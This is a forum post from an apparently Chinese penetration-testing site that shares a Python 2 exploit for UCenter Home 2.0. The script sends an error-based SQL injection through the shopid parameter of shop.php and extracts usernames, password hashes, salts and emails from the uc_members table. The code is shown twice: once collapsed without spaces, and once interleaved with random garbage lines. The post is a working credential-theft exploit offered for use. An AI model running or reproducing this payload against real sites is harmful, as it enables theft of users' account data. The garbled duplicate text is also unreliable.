中国网络渗透测试联盟
标题:
UCenter Home 2.0 EXP
[打印本页]
作者:
admin
时间:
2013-1-23 09:18
标题:
UCenter Home 2.0 EXP
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:
http://www.exploit-db.com/exploits/14997/'
print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
! S% n; x9 G+ I1 m9 h
; Z; D* ^ Z; Z! m
2 f) ~! q+ o& w) @7 }
#!/usr/bin/env python
7 j( ^" l9 ?! P+ d' |, a; e
. m+ b) R a3 g* E; c
import sys
" c' u- o/ H( w4 V1 Z+ O: l
import urllib2
1 z' L8 @1 m. C
import re
- t# x" L0 C7 N9 a$ O
' g# ]: W' z) f8 I3 G5 Y a3 G
def info():
6 d" a: e6 `% @0 ]
print 'From:
http://www.exploit-db.com/exploits/14997/'
: f: _ q6 P* s% k8 ~
print 'http://www.hake.cc/Web_loudong/'
" t7 W( K" g: v! F7 Z
print 'changed:qiaoy'
5 W" a1 C0 r5 S2 i1 E3 P
print 'exp:'
( C7 _! h; e. C$ t; N
print ' ./UCenter_Home_2.0.py site'
' f; ~& ~1 \8 Z
: Y. i* S' N/ A* E @
def main():
! K' d [5 B# t" r' q! T: e
if len(sys.argv) != 2:
% L8 ~4 w5 O9 m8 K3 O7 C
info()
v5 M( @, i2 R6 g7 ^
else:
- l# j# r. i* N
site = sys.argv[1]
0 \) C* P+ S3 j/ Y
if site[0:7] == 'http://':
( r5 a9 u$ G' @7 d8 e4 R5 S
sitesite =site
$ i) P# c W: [+ r/ u# c# Q
elif site[0:8] == 'https://':
3 m- G) t2 M% ]& |! J* V$ e h
sitesite = site
3 V8 p2 K0 w0 k$ p
else:
& O4 R% w- @* u+ b3 v+ f
site = 'http://'+site
& U3 I4 N' S' I, z" R$ u/ c
try:
( Y! X! B; R) B" y8 F% l5 h/ x
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
' p% ~1 ]4 n# t/ p
Value = urllib2.urlopen(url).read()
! H* Q2 e& R% I4 C' {% d" ~
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
$ ?5 G2 k1 o; a; s+ Z/ ~
hacked = Msg.split(':')
7 J6 |/ |% k# G( _# N6 Z
print 'Name: '+hacked[1]
$ F) }7 g$ w1 t1 U& H
print 'Passwd: '+hacked[2]
# m( H D7 j o! ?8 H
print 'salt: '+hacked[3]
+ ?2 ]9 b3 I3 H0 [1 ^1 U
print 'email: '+hacked[4]
d& @+ S+ g# O" _6 e
except:
# b. ^- Q8 {5 d. a; @: X; t7 |+ y& u
print 'Sorry,I can\'t work............'
6 _ W4 [, Q% V L
/ Q: l' Z; R1 ^
if __name__ == '__main__':
; B6 b }" A! |. L( ?. k
main()
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2